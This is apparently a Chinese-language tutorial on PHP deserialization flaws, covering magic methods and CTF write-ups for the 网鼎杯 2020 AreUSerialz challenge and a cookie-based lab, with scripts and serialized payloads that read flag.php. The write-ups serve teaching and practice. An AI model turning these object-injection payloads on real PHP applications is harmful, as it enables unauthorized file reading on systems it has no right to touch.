反序列化漏洞
这玩意在实战里面还是比较难触发的,黑盒测试似乎不太可能,ctf中倒是遇到比较多,实战中比较出名的有weblogic的反序列化漏洞
PHP反序列化
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法
- serialize() //将对象转化为字符串,运行的时候会调用_sleep()函数
- unserialize() //将字符串转化为对象,运行的时候会调用_wakeup()函数
O:3:”abc”:2:{s:4:”name”;i:2:”19”;}
当出现的是有类的序列化的时候,还要注意以下这些函数
- _construct() //构造函数
- _destruct() //析构函数
- _call() //在对象上下文中调用不可访问的方法时触发
- _callStatic() //在静态上下问中调用不可访问的方法时触发
- _get() //用于从不可访问的属性读取数据
- _set() //用于将数据写入不可访问的属性
- _isset() //在不可访问的属性上调用isset()或empty()触发
- __toString() //可以定义输出类的内容
[网鼎杯 2020 青龙组]AreUSerialz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
首先看输出flag的地方,源码里面只有一个地方可以
1 2 3 4 5 6 7 8 9 10 11 12
| else if($this->op == "2") { $res = $this->read(); $this->output($res); private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
|
这里process()这个函数很重要,在构造函数和析构函数都调用了一次
然后由于那个判断语句,我们要把op设为2才行,若为1,会运行write()函数覆盖filename文件的内容
这里只需要管析构函数那里
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
可以看到这里进行了一个强比较,若是发现op是2,会赋值为1,但是我们后面在process()中还需要op等于2,这里有一个小细节,process()里面的比较是==,而===和==的区别就是===还要比较类型,所以我们这里把op赋值成数字就可以,最后的解题
1 2 3 4 5 6 7 8 9 10
| <?php class FileHandler{ public $op=2; public $filename="flag.php"; public $content = ""; } $a=new FileHandler; $b=serialize($a); echo $b; ?>
|
构造str?=O:11:”FileHandler”:3:{s:2:”op”;i:2;s:8:”filename”;s:8:”flag.php”;s:7:”content”;s:0:””;}
查看源码就得到flag了,这里还有一个地方要注意,为什么使用public
1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
三种访问控制的区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
靶场
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } } if(isset($_GET['source'])){ $s = new readme(); $s->source = __FILE__; echo $s; exit; }
if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } } if(isset($_POST['text'])){ $todo = $_POST['text']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie('todos', $h.$m); header('Location: '.$_SERVER['REQUEST_URI']); exit; } ?> <html> <head> </head>
<h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?> </ul>
<form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form>
|
这里直接看POST那里的内容就可以了
这里把post的内容分成两个部分,一个是m一个是h,这里的m是要进行一个序列化操作的,而h则要进行一个比较,要求与m相同,于是我们可以编写一个程序
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true); } } $s = new readme(); $s->source = "flag.php"; $s = [$s]; $a=md5(serialize($s)); echo $a.serialize($s); ?>
|
直接post
e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:”readme”:1:{s:6:”source”;s:8:”flag.php”;}}
然后修改cookie得到flag